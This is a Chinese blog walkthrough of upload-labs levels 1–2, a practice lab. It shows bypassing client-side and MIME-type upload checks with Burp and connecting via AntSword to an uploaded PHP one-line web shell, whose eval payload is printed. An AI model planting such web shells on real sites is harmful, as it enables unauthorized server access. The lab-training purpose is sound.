upload-labs第1~2关 小试牛刀

【第一关】文件重命名

工具:Burp+蚁剑
原理:文件名修改

Ⅰ 源码解析

upload-labs第1~2关 小试牛刀_第1张图片
upload-labs第1~2关 小试牛刀_第2张图片
  先在前端判断是否为图片格式,是的话,就开始上传。也就是前端绕过,先传一个jpg格式的,再用burp抓包、改包,就可以实现前端验证绕过

Ⅱ 绕过过程

文件上传肯定离不开一句话木马,一句话木马准备
upload-labs第1~2关 小试牛刀_第3张图片
  上传一句话木马的jpg,再用burp抓包,把上传的文件名改成1.php
(最好不包含中文,会冲突)
upload-labs第1~2关 小试牛刀_第4张图片

修改后,放包,去后台文件看看有没有上传成功。
一般上传后会放在upload-labs/upload,没有这个文件夹就创建一个
upload-labs第1~2关 小试牛刀_第5张图片

用蚁剑连接php,填好信息,就点击“测试连接”,成功就可以保存
upload-labs第1~2关 小试牛刀_第6张图片

文件上传后,可以浏览别人的后台文件
upload-labs第1~2关 小试牛刀_第7张图片

【第二关】文件 MIME验证绕过

Ⅰ 源码分析

upload-labs第1~2关 小试牛刀_第8张图片
  相对于第一关,这一关将文件类型判断放在了后端代码上,我们可以通过MIME验证绕过,说说人话,就是修改上传文件的文件类型
按照第一关的做法,也是可以的

  • 先上传jpg,再用burp改包,将jpg文件改成php文件,最后放包
  • 用蚁剑连接,上传的文件php,便可以看到后台数据

Ⅱ 原理分析

在这里讲下,为什么通过修改Content-Type,可以实现php文件直接上传。
Content-Type:决定如何显示/处理将要加载的数据
  一开始抓包时,内容类型是application/octet-stream
application/octet-stream, 浏览器并不认得这是什么类型,也不知道应该如何展示,只知道这是一种二进制文件,因此遇到content-type为application/octet-stream的文件时,浏览器会直接把它下载下来,在这个靶场就是直接保存在本地文件夹。
  查看一下源码,发现它允许imge/png文件上传,直接修改文件内容类型即可
upload-labs第1~2关 小试牛刀_第9张图片

Ⅲ 绕过过程

在这里,如果我们想直接上传php文件,且不被拦截到,可以通过burp修改数据包的文件类型,便可以实现
  编辑一个含有一句话木马的php文件,并上传,用burp抓包

 @eval($_POST['a']);?>

抓包后,修改文件的请求行content-type的值为 image/jpeg
upload-labs第1~2关 小试牛刀_第10张图片

修改好就放包,在后台查看下文件是否上传成功
upload-labs第1~2关 小试牛刀_第11张图片
最后用蚁剑连接
upload-labs第1~2关 小试牛刀_第12张图片

你可能感兴趣的:(Web安全,javascript,安全,前端)